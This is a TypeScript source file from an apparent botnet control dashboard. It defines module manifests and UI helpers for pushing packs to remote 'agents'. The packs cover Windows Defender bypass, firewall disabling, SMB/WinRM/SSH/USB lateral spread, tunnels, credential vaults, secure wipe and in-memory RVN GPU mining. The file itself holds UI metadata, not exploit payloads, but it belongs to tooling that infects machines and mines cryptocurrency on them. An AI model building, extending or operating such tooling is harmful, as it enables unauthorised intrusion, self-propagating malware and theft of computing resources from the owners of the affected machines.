Files
AetherForge/server/web/src/help/fleetModules.ts
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

110 lines
4.0 KiB
TypeScript

import type { AgentCapabilities, FleetModuleManifest } from '../types';
/** Built-in fallbacks when the server list is empty or a pack lacks UI metadata. */
export const FLEET_MODULE_FALLBACKS: FleetModuleManifest[] = [
{
name: 'crucible_ops',
version: '1',
display_name: 'Crucible Ops',
summary: 'Dashboard remote aggressive ops — tunnels, scans, firewall, defender',
description:
'Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.',
accent: 'magenta',
capabilities: [
'Remote tunnels (cloudflared, SSH forward)',
'Subnet scan & SMB share enumeration',
'Firewall punch / disable / profile control',
'Defender RTP bypass (Windows)',
'On-demand spread_now trigger',
'Credential vault & secure wipe',
],
features: { remote_aggressive: true },
},
{
name: 'spread',
version: '1',
display_name: 'Spread Pack',
summary: 'Lateral and passive spread — SMB auto-spread plus USB/WMI hooks',
description:
'Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.',
accent: 'cyan',
capabilities: [
'SMB / WinRM auto-spread scheduler',
'SSH lateral spread (Linux/macOS)',
'USB removable-media propagation',
'WMI-based passive hooks (Windows)',
'Spread status & funnel telemetry',
],
features: { auto_spread: true, usb_spread: true },
},
{
name: 'gpu',
version: '1',
display_name: 'GPU Miner',
summary: 'KawPoW RVN GPU mining when hardware and wallet are present',
description:
'Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.',
accent: 'gold',
capabilities: [
'KawPoW RVN miner (T-Rex / TRM)',
'GPU hashrate telemetry on dashboard',
'Pause/resume with fleet policy',
'Windows NVIDIA/AMD when drivers present',
],
features: { gpu_enabled: true },
},
];
export function resolveFleetModules(modules: FleetModuleManifest[]): FleetModuleManifest[] {
if (modules.length > 0) return modules;
return FLEET_MODULE_FALLBACKS;
}
export function findFleetModule(
modules: FleetModuleManifest[],
name: string,
): FleetModuleManifest | undefined {
const list = resolveFleetModules(modules);
return list.find((m) => m.name === name);
}
export function moduleDisplayName(mod: FleetModuleManifest): string {
return mod.display_name?.trim() || mod.name;
}
/** Human label for the primary push button, e.g. "Push Crucible Ops to Group Alpha". */
export function modulePushLabel(
mod: FleetModuleManifest,
targetMode: 'all' | 'group',
groupName?: string,
onlineCount?: number,
): string {
const pack = moduleDisplayName(mod);
if (targetMode === 'group' && groupName) {
return `Push ${pack} to ${groupName}`;
}
const n = onlineCount ?? 0;
return `Push ${pack} to all online (${n})`;
}
/** Feature flags the agent applies from a pack manifest. */
export function moduleFeatureFlags(mod: FleetModuleManifest): string[] {
if (!mod.features) return [];
return Object.entries(mod.features)
.filter(([, v]) => v === true)
.map(([k]) => k)
.sort();
}
/** Returns true when agent capabilities reflect at least one flag from the pack. */
export function capabilitiesMatchModule(
caps: AgentCapabilities | undefined,
mod: FleetModuleManifest,
): boolean {
if (!caps || !mod.features) return false;
return Object.entries(mod.features).some(([key, want]) => {
if (want !== true) return false;
return Boolean((caps as unknown as Record<string, boolean | undefined>)[key]);
});
}